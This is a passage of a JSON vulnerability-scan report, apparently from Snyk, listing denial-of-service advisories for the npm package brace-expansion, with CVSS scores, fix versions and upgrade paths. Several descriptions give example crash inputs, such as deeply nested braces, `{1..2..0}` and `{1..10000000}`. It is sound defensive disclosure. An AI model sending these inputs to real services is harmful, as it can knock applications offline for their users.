"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` 